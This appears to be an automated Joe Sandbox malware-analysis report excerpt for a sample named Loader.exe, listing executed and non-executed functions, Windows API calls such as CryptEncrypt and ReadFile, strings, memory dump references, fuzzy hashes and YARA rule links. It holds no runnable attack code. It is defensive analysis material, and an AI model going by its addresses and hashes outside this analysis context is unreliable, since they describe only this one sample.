Part of subcall function 0094AEE5: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,0094AE81,0094A3CC,?,?,00944480,?,00000000,00000000,?), ref: 0094AEF8

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,?,0094A3DF,00000000,00000001,00000000,?,?,00944480,?,00000000,00000000,?), ref: 0094AED8

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: ed8ca2dc6f5392c3f25ffe23e80e3b94c2ce5163f016589875877322f9e82445
Instruction ID: 41d09c2cf95021f2bc57d796832f3168af6f230d67d79393fa5daf8ca8e324af
Opcode Fuzzy Hash: ed8ca2dc6f5392c3f25ffe23e80e3b94c2ce5163f016589875877322f9e82445
Instruction Fuzzy Hash: 85F09E36554258BBDF525F96DC04E9A3E26EB487A1F444410FA1896170DA328860AB91

Function 009305E5 Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 009305F7
GetCurrentThreadId.KERNEL32 ref: 00930606
GetCurrentProcessId.KERNEL32 ref: 0093060F
QueryPerformanceCounter.KERNEL32(?), ref: 0093061C

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: f01fbf2fabefbadf7a575f6d79e40c42a174d9211ef25de9454a446d1bafd095
Instruction ID: 578595d6422933853c2e9bc90b2a748a4a68ab1753254dd67553cc8a4863716e
Opcode Fuzzy Hash: f01fbf2fabefbadf7a575f6d79e40c42a174d9211ef25de9454a446d1bafd095
Instruction Fuzzy Hash: 99F06274D1420DEBCB00DBB5DA4999EBBF4FF1C205B918996A452E7150EB30AB44DF50

Function 00940A66 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 191COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0093C25A: GetLastError.KERNEL32(?,?,00935585,00958E90,0000000C), ref: 0093C25E
Part of subcall function 0093C25A: SetLastError.KERNEL32(00000000), ref: 0093C300

GetACP.KERNEL32(-00000002,00000000,?,00000000,00000000,?,00935CC5,?,?,?,00000055,?,-00000050,?,?,?), ref: 00940B25
IsValidCodePage.KERNEL32(00000000,-00000002,00000000,?,00000000,00000000,?,00935CC5,?,?,?,00000055,?,-00000050,?,?), ref: 00940B5C

Strings

utf8, xrefs: 00940C2E

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: ErrorLast$CodePageValid
String ID: utf8
API String ID: 943130320-905460609
Opcode ID: 93e27b90bda8d7661139dc1cc246f028f3c4c15878e1a509f872b37dac0b7096
Instruction ID: e61426edbcb9d857171865d118092989e59b15decf37fa564893cbf7e83e02cb
Opcode Fuzzy Hash: 93e27b90bda8d7661139dc1cc246f028f3c4c15878e1a509f872b37dac0b7096
Instruction Fuzzy Hash: C3510771A00705EADB28AB718C86FA773ACEFC4705F150629FB999B081E670D980C768

Function 00927580 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135COMMON

Download Yara Rule

APIs

Concurrency::details::_Release_chore.LIBCPMT ref: 009276C6
___std_exception_copy.LIBVCRUNTIME ref: 00927701

Part of subcall function 0092B0D7: CreateThreadpoolWork.KERNEL32(0092B200,00928BCA,00000000), ref: 0092B0E6
Part of subcall function 0092B0D7: Concurrency::details::_Reschedule_chore.LIBCPMT ref: 0092B0F3

Strings

Fail to schedule the chore!, xrefs: 009276F1, 00927700

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: Concurrency::details::_$CreateRelease_choreReschedule_choreThreadpoolWork___std_exception_copy
String ID: Fail to schedule the chore!
API String ID: 3683891980-3313369819
Opcode ID: 76e7a368d302517c9c3a7f62d7d552825be423b1f681cc35b51ed6d10abf5763
Instruction ID: 2c8c67c923f8abea63e0c5acba1199876ab9ae048cb9026db5880797b8346bfe
Opcode Fuzzy Hash: 76e7a368d302517c9c3a7f62d7d552825be423b1f681cc35b51ed6d10abf5763
Instruction Fuzzy Hash: DF51CCB1D013289FCB00DF94E895BAEBBB4FF88314F144129E8196B391D776AA05CF91

Function 0093BA82 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 120COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,0093B983,?,?,00000000,00000000,00000000,?), ref: 0093BAA7

Strings

RCC, xrefs: 0093BAC1
MOC, xrefs: 0093BAB9

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 279d278e918659287faa7be8fc8cb982d9a9acb573e445080d5cdf523437209c
Instruction ID: 8754b042d05c3489bf7e02cc43a8e8b2cfffb5147f530bd7ec9fee8c65888da6
Opcode Fuzzy Hash: 279d278e918659287faa7be8fc8cb982d9a9acb573e445080d5cdf523437209c
Instruction Fuzzy Hash: 87415871900209AFCF15DF98CC81AEEBBB9FF88304F188199FA18A7265D7359950DF51

Function 00924030 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 109COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00924066
std::_Lockit::~_Lockit.LIBCPMT ref: 009241A2

Part of subcall function 0092AD65: _Yarn.LIBCPMT ref: 0092AD85
Part of subcall function 0092AD65: _Yarn.LIBCPMT ref: 0092ADA9

Strings

bad locale name, xrefs: 009240E6

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: LockitYarnstd::_$Lockit::_Lockit::~_
String ID: bad locale name
API String ID: 2070049627-1405518554
Opcode ID: 4c2c0bf39d6a9f404d04a6dc243df9b1c594d00d2f917bf602841915aa30b4dc
Instruction ID: c8289a0468b655769ae5f4dea8beac2e48f9bcdf66091187f5061c700b15c386
Opcode Fuzzy Hash: 4c2c0bf39d6a9f404d04a6dc243df9b1c594d00d2f917bf602841915aa30b4dc
Instruction Fuzzy Hash: 07417FF1A007559BDB10DF69E905717BBE8BF54704F044628E4099B781E3BAE518CFE2

Function 0093B2EE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 0093B565

Strings

csm, xrefs: 0093B587
csm, xrefs: 0093B5F8

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: d8e9cfcfa9f8b81e65bbde9bca117d68974dd0a6cfe294b6c0827846da036a74
Instruction ID: 2f05aa9b262c13c6cd326c1573758a2f8ce1a08a24b5f72f5dd8eeea09436975
Opcode Fuzzy Hash: d8e9cfcfa9f8b81e65bbde9bca117d68974dd0a6cfe294b6c0827846da036a74
Instruction Fuzzy Hash: CF31E472400219DFCF269F50CC459AE7B6AFF09329F18465BFA5449122C332CCA2DF82

Function 0092B921 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 0092B9A9
RaiseException.KERNEL32(?,?,?,?,?), ref: 0092B9CE

Part of subcall function 009306FC: RaiseException.KERNEL32(E06D7363,00000001,00000003,0092F444,02D69110,?,?,?,0092F444,00923EEA,009575AC,00923EEA), ref: 0093075D

Part of subcall function 00938443: IsProcessorFeaturePresent.KERNEL32(00000017,0093C314), ref: 0093845F

Strings

csm, xrefs: 0092B95D

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: ExceptionRaise$FeaturePresentProcessor__alloca_probe_16
String ID: csm
API String ID: 1924019822-1018135373
Opcode ID: 1194773a1362387949986b71898e387d008e5afaca72ea04cbcbf9bdb45c5d54
Instruction ID: c1fdad9575050c7c7ab652585485c6486fc872a1e3c91a985e0ceb38f999c8ed
Opcode Fuzzy Hash: 1194773a1362387949986b71898e387d008e5afaca72ea04cbcbf9bdb45c5d54
Instruction Fuzzy Hash: 1A21BE35D0022C9BCF24DF95E946BAEB7F8EF84718F580419E605AB259CB70AD85CB81

Function 0092B555 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00922853

Strings

bad array new length, xrefs: 00922806
ios_base::badbit set, xrefs: 00922830

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: ___std_exception_copy
String ID: bad array new length$ios_base::badbit set
API String ID: 2659868963-1158432155
Opcode ID: 4abcd885289069f56ed1fe5df1bd3773909ee821eef308dd34e98e8f3d418db5
Instruction ID: 894123aaa90aa1be8cdcfc3b9e87d08cc44c5be635e49fef0655ad7d44b9f0b7
Opcode Fuzzy Hash: 4abcd885289069f56ed1fe5df1bd3773909ee821eef308dd34e98e8f3d418db5
Instruction Fuzzy Hash: 7501D4F26193019BD714DF58D826B1B7BE8EF84318F00892CF4498B340E771E805CB81

Function 009227F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 009306FC: RaiseException.KERNEL32(E06D7363,00000001,00000003,0092F444,02D69110,?,?,?,0092F444,00923EEA,009575AC,00923EEA), ref: 0093075D

___std_exception_copy.LIBVCRUNTIME ref: 00922853

Strings

bad array new length, xrefs: 00922806
ios_base::badbit set, xrefs: 00922830

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: ExceptionRaise___std_exception_copy
String ID: bad array new length$ios_base::badbit set
API String ID: 3109751735-1158432155
Opcode ID: c7a12b1e71260d0ee332d3fe1af2c3ead70afa979aabf827d73fee3ca2ce7b4b
Instruction ID: 6f8afbe67d0b4a95431eee5b9a03c150ba1d54cf7cefda6945ab1cbad1ac3e03
Opcode Fuzzy Hash: c7a12b1e71260d0ee332d3fe1af2c3ead70afa979aabf827d73fee3ca2ce7b4b
Instruction Fuzzy Hash: DAF01CF1619300ABD314EF59DC16B0BBBE4EB85319F01881CF5889B301E3B5D449CB92

Analysis Process: Loader.exePID: 7400, Parent PID: 7332COMMON

Non-executed Functions

Function 00922560 Relevance: 10.6, APIs: 7, Instructions: 82encryptionthreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 009225D0

Part of subcall function 0092F20D: WaitForSingleObjectEx.KERNEL32(?,000000FF,00000000,?,?,?,009225EA,?,?,00000000), ref: 0092F219
Part of subcall function 0092F20D: GetExitCodeThread.KERNEL32(?,00000000,?,?,009225EA,?,?,00000000), ref: 0092F232
Part of subcall function 0092F20D: CloseHandle.KERNEL32(?,?,?,009225EA,?,?,00000000), ref: 0092F244

CryptEncrypt.ADVAPI32 ref: 00922617
CryptDestroyKey.ADVAPI32(00000000), ref: 0092261F
std::_Throw_Cpp_error.LIBCPMT ref: 0092264B
std::_Throw_Cpp_error.LIBCPMT ref: 0092265C
std::_Throw_Cpp_error.LIBCPMT ref: 0092266D
std::_Throw_Cpp_error.LIBCPMT ref: 0092267E

Memory Dump Source

Source File: 00000002.00000002.1667175336.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000002.00000002.1667161368.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667197811.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667213235.000000000095A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667229125.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667240653.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667276415.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_920000_Loader.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$CryptThread$CloseCodeCurrentDestroyEncryptExitHandleObjectSingleWait
String ID:
API String ID: 1492798345-0
Opcode ID: 0253c1fdbb326cb86f29e280aad148d3d98b1ea1642c3535e650569f263b70e3
Instruction ID: d0e35dab9c0cafd7b70f405c4b2cb380e661b97833206a27a1db158528c48516
Opcode Fuzzy Hash: 0253c1fdbb326cb86f29e280aad148d3d98b1ea1642c3535e650569f263b70e3
Instruction Fuzzy Hash: 303195F2D40325ABEB10EF90EC06BAEBBF4EB45710F040225E515762C5E3B55A54CBE2

Function 00941AF7 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,009414AD,00000002,00000000,?,?,?,009414AD,?,00000000), ref: 00941B90
GetLocaleInfoW.KERNEL32(?,20001004,009414AD,00000002,00000000,?,?,?,009414AD,?,00000000), ref: 00941BB9
GetACP.KERNEL32(?,?,009414AD,?,00000000), ref: 00941BCE

Strings

OCP, xrefs: 00941B4B
ACP, xrefs: 00941B15

Memory Dump Source

Source File: 00000002.00000002.1667175336.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000002.00000002.1667161368.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667197811.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667213235.000000000095A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667229125.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667240653.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667276415.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_920000_Loader.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: c0fed1cb34b61ae36971a14d109869236ff69875c8b5362b3a4dda1861a3a4a8
Instruction ID: 331ba323c29fe42a42e9fb0e33e0363336fd3d690a8ca67e99a83ecf9bfde633
Opcode Fuzzy Hash: c0fed1cb34b61ae36971a14d109869236ff69875c8b5362b3a4dda1861a3a4a8
Instruction Fuzzy Hash: 3721A732B10204ABEB348F15C900E9773AEEF54BA5B968564E94AD7118F732DEC0D750

Function 00922060 Relevance: 7.7, APIs: 5, Instructions: 200fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00921240: _strlen.LIBCMT ref: 009212BA

GetFileSize.KERNEL32(00000000,00000000), ref: 009220F6
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 0092211B
CloseHandle.KERNEL32(00000000), ref: 0092212A
_strlen.LIBCMT ref: 0092217D
CloseHandle.KERNEL32(00000000), ref: 009222AD

Memory Dump Source

Source File: 00000002.00000002.1667175336.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000002.00000002.1667161368.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667197811.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667213235.000000000095A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667229125.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667240653.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667276415.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_920000_Loader.jbxd

Similarity

API ID: CloseFileHandle_strlen$ReadSize
String ID:
API String ID: 1490117831-0
Opcode ID: b719bc6efa6bb0f8cc7706b08db264266627c267e2c69932d5b9ffed221762eb
Instruction ID: 93807cb800decb627051531cee7a860eab1433e6fda234c3f92c8cb605f70267
Opcode Fuzzy Hash: b719bc6efa6bb0f8cc7706b08db264266627c267e2c69932d5b9ffed221762eb
Instruction Fuzzy Hash: CF71B2B2D00225DBCB14DFA4EC45BAEBBB4FF99310F140628E814B7395E735A945CBA1

Function 00941377 Relevance: 7.7, APIs: 5, Instructions: 182COMMON

Download Yara Rule

APIs

Part of subcall function 0093C25A: GetLastError.KERNEL32(00000000,?,0093E67D), ref: 0093C25E
Part of subcall function 0093C25A: SetLastError.KERNEL32(00000000,?,?,00000028,00938453), ref: 0093C300

GetUserDefaultLCID.KERNEL32(-00000002,00000000,?,00000055,?), ref: 0094147F
IsValidCodePage.KERNEL32(00000000), ref: 009414BD
IsValidLocale.KERNEL32(?,00000001), ref: 009414D0
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 00941518
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 00941533

Memory Dump Source

Source File: 00000002.00000002.1667175336.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000002.00000002.1667161368.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667197811.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667213235.000000000095A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667229125.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667240653.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667276415.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_920000_Loader.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: 2e663448bca0d21de502166ffc036190371760d4f86ba544db0db53ee68b485e
Instruction ID: 30f6e74a4c1d050eb1b338f5ed4a7bf3a370adef95191de573cc4b38ee70f4d6
Opcode Fuzzy Hash: 2e663448bca0d21de502166ffc036190371760d4f86ba544db0db53ee68b485e
Instruction Fuzzy Hash: 56516D72A00209ABDB24DFA5CC45FBE77B8FF88741F144429F915EB1A0E7709A848B61

Function 00939DB0 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1667175336.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000002.00000002.1667161368.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667197811.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667213235.000000000095A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667229125.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667240653.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667276415.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_920000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3bc9877c2baeb9d2eefe3dc346bd414728ba2a6b644d6a7f2363c8b83004931b
Instruction ID: d88ad5e4ee927056509c7e63304dc72c6b3548c07f0107044f5fcc62cf9fd013
Opcode Fuzzy Hash: 3bc9877c2baeb9d2eefe3dc346bd414728ba2a6b644d6a7f2363c8b83004931b
Instruction Fuzzy Hash: 49022971E012199BDF14CFA9C9807AEBBB5FF88314F248269E919E7240D771AE418F91

Function 009420D9 Relevance: 6.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 009421C9

Memory Dump Source

Source File: 00000002.00000002.1667175336.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000002.00000002.1667161368.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667197811.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667213235.000000000095A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667229125.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667240653.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667276415.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_920000_Loader.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: fb9dfed163360a23a3a05a3830e799191b3a75eec2796f34f41e5ee7d1713f08
